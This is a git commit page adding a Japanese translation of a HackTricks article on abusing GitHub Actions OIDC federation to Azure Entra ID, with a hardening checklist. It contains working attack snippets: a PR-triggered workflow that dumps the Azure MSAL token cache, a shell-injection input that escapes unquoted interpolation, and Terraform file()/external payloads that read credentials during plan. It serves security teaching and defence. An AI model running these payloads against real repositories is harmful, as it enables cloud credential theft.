mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 21:53:15 -08:00
Translated ['src/pentesting-cloud/azure-security/az-basic-information/az
This commit is contained in:
@@ -0,0 +1,228 @@
|
||||
# Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 概要
|
||||
|
||||
GitHub ActionsはOpenID Connect (OIDC)を用いてAzure Entra ID(旧Azure AD)とフェデレーションできます。GitHub workflowは、実行の詳細をエンコードした短命のGitHub ID token (JWT)を要求します。AzureはこのトークンをApp Registration(service principal)上のFederated Identity Credential (FIC)に対して検証し、Azureアクセス トークン(MSALキャッシュ、Azure API向けのbearerトークン)と交換します。
|
||||
|
||||
Azureが少なくとも検証する項目:
|
||||
- iss: https://token.actions.githubusercontent.com
|
||||
- aud: api://AzureADTokenExchange (Azureトークンと交換する際)
|
||||
- sub: 設定されたFIC Subject identifierと一致している必要がある
|
||||
|
||||
> デフォルトのGitHub audはGitHubのURLである場合がある。Azureと交換する際は、明示的に audience=api://AzureADTokenExchange を設定する。
|
||||
|
||||
## GitHub ID token 簡易 PoC
|
||||
```yaml
|
||||
name: Print OIDC identity token
|
||||
on: { workflow_dispatch: {} }
|
||||
permissions:
|
||||
id-token: write
|
||||
jobs:
|
||||
view-token:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: get-token
|
||||
run: |
|
||||
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
|
||||
# Base64 avoid GitHub masking
|
||||
echo "$OIDC_TOKEN" | base64 -w0
|
||||
```
|
||||
トークン要求時に Azure の audience を強制するには:
|
||||
```bash
|
||||
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
|
||||
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
|
||||
```
|
||||
## Azure セットアップ (Workload Identity Federation)
|
||||
|
||||
1) App Registration (service principal) を作成し、最小権限を付与する(例:特定の storage account に対して Storage Blob Data Contributor)。
|
||||
|
||||
2) Federated identity credentials を追加する:
|
||||
- Issuer: https://token.actions.githubusercontent.com
|
||||
- Audience: api://AzureADTokenExchange
|
||||
- Subject identifier: 対象の workflow/run コンテキストに厳密にスコープすること(下の Scoping and risks を参照)。
|
||||
|
||||
3) azure/login を使って GitHub ID token を交換し、Azure CLI にサインインする:
|
||||
```yaml
|
||||
name: Deploy to Azure
|
||||
on:
|
||||
push: { branches: [main] }
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Az CLI login
|
||||
uses: azure/login@v2
|
||||
with:
|
||||
client-id: ${{ secrets.AZURE_CLIENT_ID }}
|
||||
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
|
||||
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
|
||||
- name: Upload file to Azure
|
||||
run: |
|
||||
az storage blob upload --data "test" -c hmm -n testblob \
|
||||
--account-name sofiatest --auth-mode login
|
||||
```
|
||||
手動交換の例 (Graph scope を示す; ARM やその他の resources も同様):
|
||||
```http
|
||||
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
|
||||
Host: login.microsoftonline.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
client_id=<app-client-id>&grant_type=client_credentials&
|
||||
client_assertion=<GitHub-ID-token>&client_info=1&
|
||||
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
|
||||
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
|
||||
```
|
||||
## GitHub OIDC subject (sub) の構造とカスタマイズ
|
||||
|
||||
デフォルトの sub 形式: repo:<org>/<repo>:<context>
|
||||
|
||||
Context の値には次が含まれる:
|
||||
- environment:<env>
|
||||
- pull_request (environment が指定されていない場合に PR がトリガーされる)
|
||||
- ref:refs/(heads|tags)/<name>
|
||||
|
||||
ペイロードに含まれることが多い有用なクレーム:
|
||||
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
|
||||
|
||||
GitHub API を使って sub の構成をカスタマイズし、追加の claims を含めて衝突リスクを減らす:
|
||||
```bash
|
||||
gh api orgs/<org>/actions/oidc/customization/sub
|
||||
gh api repos/<org>/<repo>/actions/oidc/customization/sub
|
||||
# Example to include owner and visibility
|
||||
gh api \
|
||||
--method PUT \
|
||||
repos/<org>/<repo>/actions/oidc/customization/sub \
|
||||
-f use_default=false \
|
||||
-f include_claim_keys='["repository_owner","repository_visibility"]'
|
||||
```
|
||||
注意: 環境名のコロンは URL エンコードされており (%3A)、sub parsing に対する古い delimiter‑injection の手口を排除します。ただし、non‑unique な subjects(例: environment:<name> のみ)を使うのは依然として unsafe です。
|
||||
|
||||
## FIC サブジェクトタイプの範囲とリスク
|
||||
|
||||
- Branch/Tag: sub=repo:<org>/<repo>:ref:refs/heads/<branch> or ref:refs/tags/<tag>
|
||||
- リスク: branch/tag が保護されていない場合、任意の contributor が push して tokens を取得できる。
|
||||
- Environment: sub=repo:<org>/<repo>:environment:<env>
|
||||
- リスク: Unprotected environments(レビューアがいない)だと、contributors が tokens を mint できる。
|
||||
- Pull request: sub=repo:<org>/<repo>:pull_request
|
||||
- 最も高いリスク: 任意の collaborator が PR を開き、FIC を満たせる。
|
||||
|
||||
PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login):
|
||||
```yaml
|
||||
name: Steal tokens
|
||||
on: pull_request
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
jobs:
|
||||
extract-creds:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: azure login
|
||||
uses: azure/login@v2
|
||||
with:
|
||||
client-id: ${{ secrets.AZURE_CLIENT_ID }}
|
||||
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
|
||||
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
|
||||
- name: Extract access token
|
||||
run: |
|
||||
# Azure CLI caches tokens here on Linux runners
|
||||
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
|
||||
# Decode twice locally to recover the bearer token
|
||||
```
|
||||
関連ファイルの場所とメモ:
|
||||
- Linux/macOS: ~/.azure/msal_token_cache.json は az CLI セッション用の MSAL tokens を保持します
|
||||
- Windows: msal_token_cache.bin はユーザープロファイル内にあり; DPAPI‑protected
|
||||
|
||||
## 再利用ワークフローと job_workflow_ref のスコープ
|
||||
|
||||
再利用ワークフローを呼び出すと、job_workflow_ref が GitHub ID token に追加されます。例:
|
||||
```
|
||||
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
|
||||
```
|
||||
呼び出し元リポジトリと再利用可能なワークフローの両方をバインドするためのFICの例:
|
||||
```
|
||||
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
|
||||
```
|
||||
caller repoでclaimsを構成して、repoとjob_workflow_refの両方がsubに含まれるようにしてください:
|
||||
```http
|
||||
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
|
||||
Host: api.github.com
|
||||
Authorization: token <access token>
|
||||
|
||||
{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
|
||||
```
|
||||
警告: FICでjob_workflow_refだけをバインドすると、攻撃者が同じ組織内に別のリポジトリを作成し、同じrefで同じ再利用可能なワークフローを実行してFICを満たし、トークンをミントする可能性があります。常に呼び出し元リポジトリも含めてください。
|
||||
|
||||
## job_workflow_refの保護を回避するコード実行ベクター
|
||||
|
||||
適切にスコープされたjob_workflow_refがあっても、シェルに安全にクオートされずに到達する呼び出し元が制御するデータは、保護されたワークフローコンテキスト内でのコード実行につながる可能性があります。
|
||||
|
||||
再利用可能なステップの脆弱な例(未クオートの補間):
|
||||
```yaml
|
||||
- name: Example Security Check
|
||||
run: |
|
||||
echo "Checking file contents"
|
||||
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
|
||||
echo "Malicious content detected!"; exit 1
|
||||
else
|
||||
echo "File contents are safe."
|
||||
fi
|
||||
```
|
||||
コマンドを実行し、Azure のトークン キャッシュを持ち出すための悪意のある呼び出し元の入力:
|
||||
```yaml
|
||||
with:
|
||||
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
|
||||
```
|
||||
## PRsにおける実行プリミティブとしての Terraform plan
|
||||
|
||||
terraform plan をコード実行として扱う。
|
||||
plan 実行中、Terraform は以下が可能:
|
||||
- file() のような関数を介して任意のファイルを読み取る
|
||||
- external data source を介してコマンドを実行する
|
||||
|
||||
plan 実行中に Azure token cache を抜き出す例:
|
||||
```hcl
|
||||
output "msal_token_cache" {
|
||||
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
|
||||
}
|
||||
```
|
||||
または external を使って任意のコマンドを実行する:
|
||||
```hcl
|
||||
data "external" "exfil" {
|
||||
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
|
||||
}
|
||||
```
|
||||
Granting FICs usable on PR‑triggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts.
|
||||
|
||||
## ハードニングチェックリスト
|
||||
|
||||
- 機密性の高い FICs に対して sub=...:pull_request を使用しない
|
||||
- FICs で参照される branch/tag/environment を保護する(branch protection、environment reviewers)
|
||||
- reusable workflows 用には repo と job_workflow_ref の両方にスコープされた FICs を優先する
|
||||
- GitHub OIDC の sub をカスタマイズしてユニークなクレーム(例: repo, job_workflow_ref, repository_owner)を含める
|
||||
- caller inputs の未引用インターポレーションを run ステップに埋め込むことを排除する;安全にエンコード/引用する
|
||||
- terraform plan をコード実行として扱い、PR コンテキストではアイデンティティを制限または分離する
|
||||
- App Registrations に最小権限を適用し、plan と apply のアイデンティティを分離する
|
||||
- actions と reusable workflows をコミット SHA にピン留めする(branch/tag ピンは避ける)
|
||||
|
||||
## 手動テストのヒント
|
||||
|
||||
- ワークフロー内で GitHub ID token を要求し、マスキングを避けるため base64 で出力する
|
||||
- JWT をデコードしてクレームを確認する: iss, aud, sub, job_workflow_ref, repository, ref
|
||||
- ID token を手動で login.microsoftonline.com に対して交換し、FIC の一致とスコープを確認する
|
||||
- azure/login の後で ~/.azure/msal_token_cache.json を読み、トークン素材の存在を検証する
|
||||
|
||||
## 参考
|
||||
|
||||
- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2)
|
||||
- [azure/login action](https://github.com/Azure/login)
|
||||
- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external)
|
||||
- [gh CLI](https://cli.github.com/)
|
||||
- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user